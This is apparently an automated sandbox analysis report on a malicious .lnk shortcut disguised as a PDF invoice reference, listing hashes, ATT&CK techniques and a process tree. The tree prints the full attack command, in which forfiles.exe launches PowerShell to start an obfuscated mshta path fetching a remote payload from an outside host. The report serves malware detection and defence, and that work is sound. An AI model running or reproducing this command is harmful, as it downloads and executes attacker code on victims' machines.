a1d7f4bc74b920f6ea79f7d3ed3ac9c544401605688fc968cc27e1a62b9482f6

Analysis

max time kernel
16s
max time network
17s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
03-11-2024 14:33

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General

Target

Ref_VS650185_28_10_2024.pdf.lnk
Size

1KB
MD5

d53df33a543f82f01cd65a969c026f0c
SHA1

92b8d55b4dccdcdfc076e08dc10e8f878075a4f7
SHA256

a1d7f4bc74b920f6ea79f7d3ed3ac9c544401605688fc968cc27e1a62b9482f6
SHA512

a4b62d3d7d9a1f251c6f2fc1eecec006cd32ed5f206990c84c0f1e3ebb6e86564c5042412c6b329e2a6d44bd2232a89add3db92703e3c779110f83105ea0c49e

Score

7^/10

defense_evasion

Malware Config

Signatures

Indirect Command Execution 1 TTPs 1 IoCs

Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters.

defense_evasion

Indirect Command Execution

T1202

Processes:

forfiles.exe

pid	Process
2656	forfiles.exe

Drops file in Windows directory 1 IoCs

Processes:

powershell.exe

description	ioc	Process
File opened for modification	C:\Windows\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid	Process
2716	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description	pid	Process
Token: SeDebugPrivilege	2716	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.exeforfiles.exe

description	pid	Process	procid_target
PID 2692 wrote to memory of 2656	2692	cmd.exe	32
PID 2692 wrote to memory of 2656	2692	cmd.exe	32
PID 2692 wrote to memory of 2656	2692	cmd.exe	32
PID 2656 wrote to memory of 2716	2656	forfiles.exe	33
PID 2656 wrote to memory of 2716	2656	forfiles.exe	33
PID 2656 wrote to memory of 2716	2656	forfiles.exe	33

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Ref_VS650185_28_10_2024.pdf.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2692
- C:\Windows\System32\forfiles.exe
  "C:\Windows\System32\forfiles.exe" /p C:\Windows /m notep*.exe /c "powershell Start-Process \*i*\*2\msh*e https://urban-trek.shop/api/uz/0547131764/Linipute.json"
  2⤵
  - Indirect Command Execution
  - Suspicious use of WriteProcessMemory
  PID:2656
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    Start-Process \*i*\*2\msh*e https://urban-trek.shop/api/uz/0547131764/Linipute.json
    3⤵
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2716

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Indirect Command Execution

T1202

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2716-40-0x000007FEF64FE000-0x000007FEF64FF000-memory.dmp

Filesize
4KB

Download
memory/2716-43-0x000007FEF6240000-0x000007FEF6BDD000-memory.dmp

Filesize
9.6MB

Download
memory/2716-42-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

Filesize
32KB

Download
memory/2716-41-0x000000001B510000-0x000000001B7F2000-memory.dmp

Filesize
2.9MB

Download
memory/2716-44-0x000007FEF6240000-0x000007FEF6BDD000-memory.dmp

Filesize
9.6MB

Download
memory/2716-45-0x000007FEF6240000-0x000007FEF6BDD000-memory.dmp

Filesize
9.6MB

Download
memory/2716-46-0x000007FEF6240000-0x000007FEF6BDD000-memory.dmp

Filesize
9.6MB

Download
memory/2716-47-0x000007FEF6240000-0x000007FEF6BDD000-memory.dmp

Filesize
9.6MB

Download